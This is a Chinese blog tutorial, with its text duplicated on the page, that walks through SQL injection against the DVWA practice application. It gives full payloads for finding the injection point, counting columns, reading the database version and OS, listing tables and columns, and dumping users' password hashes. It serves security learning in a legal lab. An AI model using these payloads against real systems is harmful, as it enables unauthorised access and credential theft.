您现在的位置是:首页 > 学无止境 > Web网站首页Web 学习SQL注入分析-DVWA
学习SQL注入分析-DVWA
- Web
- 2019-04-03
简介如何使用DVWA的SQL注入模块,来获取服务器、数据库的一些信息呢?下面我就分享给大家。字数
751
<
DVWA(Damn Vulnerable Web App)是一个基于PHP/MySql搭建的Web应用程序,旨在为安全专业人员测试自己的专业技能和工具提供合法的 环境,帮助Web开发者更好的理解Web应用安全防范的过程,本篇文章就教大家如何使用DVWA来SQL注入。
在做测试以前先选择左侧菜单DVWA Security,如下图所示,选择Low级别:
选择左侧SQL Injection,内容页显示为:
分析:
内容页只有一个输入窗口,后台的源程序如下:
文件位置:www\DVWA-master\vulnerabilities\sqli\source\low.php
源码如图:
问题就出在画红色的部分,没有对页面请求过来的数据做任何校验,就直接交给了数据库去执行!!这种问题就非常严重了。我们来看看效果
a)确认是否有注入点
输入1,显示正常,
输入1’,提示错误!! 嘿嘿,这个提示很明显,来看看:
很明显,这是来自于MySQL的语法错误,说明输入框输入的内容被直接传给了数据库执行,只是因为语法错误导致错误提示。
输入1 or 1=1 或者输入 1 and 1=1 等都能够执行正常。
从而可以判断该输入口存在注入点:
b)确认注入点之后,我们确认字段的个数,使用order by 语句:
具体输入:1’ order by 3 # ,得到一个错误提示:
当输入:1’ order by 2#
就正常显示:
说明这个查询语句中只用到了2个字段,即2列数据。
c)确定显示的字段顺序
输入:1′ union select 1,2 #
可以看出顺序为:First name Surname
d)获取当前的数据库
输入:1' union select 1,database() #
确定了数据库名称为:dvwa,除了可以确认数据库名称外,还可以确认数据库的版本信息,只需要输入1' union select version(),database() #
可以看出数据库版本信息为 5.5.20-log
如果想查看主机的信息,输入:
1' union select 1,@@global.version_compile_os from mysql.user #
输出为:
可以看出windows操作系统!!
到此,我们在进一步深入
e)获取数据库中的表
输入:1' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() #
输出:
可以看出数据库里面的表2张:guest book 和users ,你也可以对照你的数据库,看看是不是哈。
f)获取表中的字段名
查询user表中的字段,输入:1' union select 1,group_concat(column_name) from information_schema.columns where table_name='users' #
输出结果:
可以看出效果,还是很明显的。
g)获取用户数据(获得user和password)
输入:1' union select group_concat(user),group_concat(password) from users #
输出:
好了,DVWA的SQL注入就分享到这里了,具体这个密码加密自己去PHP文件里面研究把!
转载:
感谢您对莫愁个人博客网站平台的认可,非常欢迎各位朋友分享到个人站长或者朋友圈,但转载请说明文章出处“来源莫愁个人博客 https://www.mochoublog.com/study/146.html”。
- Web
- 2019-04-03
<
DVWA(Damn Vulnerable Web App)是一个基于PHP/MySql搭建的Web应用程序,旨在为安全专业人员测试自己的专业技能和工具提供合法的 环境,帮助Web开发者更好的理解Web应用安全防范的过程,本篇文章就教大家如何使用DVWA来SQL注入。
在做测试以前先选择左侧菜单DVWA Security,如下图所示,选择Low级别:
选择左侧SQL Injection,内容页显示为:
分析:
内容页只有一个输入窗口,后台的源程序如下:
文件位置:www\DVWA-master\vulnerabilities\sqli\source\low.php
源码如图:
问题就出在画红色的部分,没有对页面请求过来的数据做任何校验,就直接交给了数据库去执行!!这种问题就非常严重了。我们来看看效果
a)确认是否有注入点
输入1,显示正常,
输入1’,提示错误!! 嘿嘿,这个提示很明显,来看看:
很明显,这是来自于MySQL的语法错误,说明输入框输入的内容被直接传给了数据库执行,只是因为语法错误导致错误提示。
输入1 or 1=1 或者输入 1 and 1=1 等都能够执行正常。
从而可以判断该输入口存在注入点:
b)确认注入点之后,我们确认字段的个数,使用order by 语句:
具体输入:1’ order by 3 # ,得到一个错误提示:
当输入:1’ order by 2#
就正常显示:
说明这个查询语句中只用到了2个字段,即2列数据。
c)确定显示的字段顺序
输入:1′ union select 1,2 #
可以看出顺序为:First name Surname
d)获取当前的数据库
输入:1' union select 1,database() #
确定了数据库名称为:dvwa,除了可以确认数据库名称外,还可以确认数据库的版本信息,只需要输入1' union select version(),database() #
可以看出数据库版本信息为 5.5.20-log
如果想查看主机的信息,输入:
1' union select 1,@@global.version_compile_os from mysql.user #
输出为:
可以看出windows操作系统!!
到此,我们在进一步深入
e)获取数据库中的表
输入:1' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() #
输出:
可以看出数据库里面的表2张:guest book 和users ,你也可以对照你的数据库,看看是不是哈。
f)获取表中的字段名
查询user表中的字段,输入:1' union select 1,group_concat(column_name) from information_schema.columns where table_name='users' #
输出结果:
可以看出效果,还是很明显的。
g)获取用户数据(获得user和password)
输入:1' union select group_concat(user),group_concat(password) from users #
输出:
好了,DVWA的SQL注入就分享到这里了,具体这个密码加密自己去PHP文件里面研究把!
转载: 感谢您对莫愁个人博客网站平台的认可,非常欢迎各位朋友分享到个人站长或者朋友圈,但转载请说明文章出处“来源莫愁个人博客 https://www.mochoublog.com/study/146.html”。
上一篇:DVWA的简介以及搭建
下一篇:用wamp来配置https访问